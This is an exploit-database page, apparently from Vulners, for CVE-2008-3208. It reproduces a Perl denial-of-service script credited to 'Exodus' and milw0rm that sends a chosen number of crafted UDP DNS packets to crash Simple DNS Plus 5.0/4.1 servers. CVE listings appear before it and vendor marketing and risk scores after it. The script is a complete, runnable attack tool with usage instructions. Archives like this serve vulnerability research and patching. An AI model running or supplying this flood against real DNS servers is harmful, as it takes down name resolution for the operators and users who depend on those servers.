Simple DNS Plus 5.0/4.1 - Remote Denial of Service
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
| CVE-2008-3208 | 13 Jul 200800:00 | – | circl | |
| CVE-2008-3208 | 18 Jul 200815:00 | – | cve | |
| CVE-2008-3208 | 18 Jul 200815:00 | – | cvelist | |
| EUVD-2008-3198 | 7 Oct 202500:30 | – | euvd | |
| CVE-2008-3208 | 18 Jul 200815:13 | – | nvd | |
| Code injection | 18 Jul 200815:13 | – | prion |
#!/usr/bin/perl
# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
#
# usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
# Exploit written by Exodus.
# http://www.blackhat.org.il
use IO::Socket;
if(@ARGV < 3){
print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
}
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server");
$address = $ARGV[0];
$trans = pack("H4","1337");
$flags = pack("B16","1000010110110000");
$question = pack("H4","0001");
$answerRR = pack("H4","0001");
$authorityRR = pack("H4","0000");
$additionlRR = pack("H4","0000");
$type = pack("H4","0001"); # A host name
$class = pack("H4","0001"); # IN
@parts = split(/\./,$address);
foreach $part (@parts)
{
$packedlen = pack("H2",sprintf("%02x",length($part)));
$address2 .= $packedlen.$part;
}
$query = $address2. "\000" . $type . $class;
$aname = pack("H4","c00c");
$atype = pack("H4","0001");
$aclass = pack("H4","0001");
$ttl = pack("H8","0000008d");
$dlen = pack("H4","0004");
$addr = inet_aton("127.0.0.1");
$answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;
$payload = $trans . $flags . $question . $answerRR
. $authorityRR . $additionlRR . $query . $answer;
print "sending $ARGV[2] packets… ";
for($i=0;$i<=$ARGV[2];$i++)
{
print $sock $payload;
}
print "Done. Good bye.";
__END__
# milw0rm.com [2008-07-13]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Jul 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.03327